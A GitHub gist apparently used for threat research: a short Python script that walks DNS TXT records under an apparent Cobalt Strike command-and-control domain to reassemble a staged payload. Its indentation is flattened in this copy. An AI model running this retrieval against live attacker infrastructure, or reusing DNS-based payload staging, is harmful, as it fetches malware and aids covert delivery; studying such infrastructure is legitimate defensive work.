Skip to content

Instantly share code, notes, and snippets.

@sysopfb
Created April 22, 2021 16:03
Show Gist options
  • Select an option

  • Save sysopfb/f4f89a99d378d5d4d50d5b373fbcd083 to your computer and use it in GitHub Desktop.

Select an option

Save sysopfb/f4f89a99d378d5d4d50d5b373fbcd083 to your computer and use it in GitHub Desktop.
CobaltStrike DNS pull script
import dns.resolver
c = '.stage.1950252.updates.updaternetworkmanagerr.com'
v = ord('a')
vv = ord('a')
vvv = ord('a')
done = False
out = ""
while not done:
t = dns.resolver.query(chr(v)+chr(vv)+chr(vvv)+c, 'TXT')
out += t[0].to_text().strip('"')
if len(t[0].to_text()) < 255:
print("done")
break
v += 1
if v >= ord('z'):
vv += 1
v = ord('a')
if vv >= ord('z'):
vvv += 1
vv = ord('a')
if vvv >= ord('z'):
print('max hit')
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment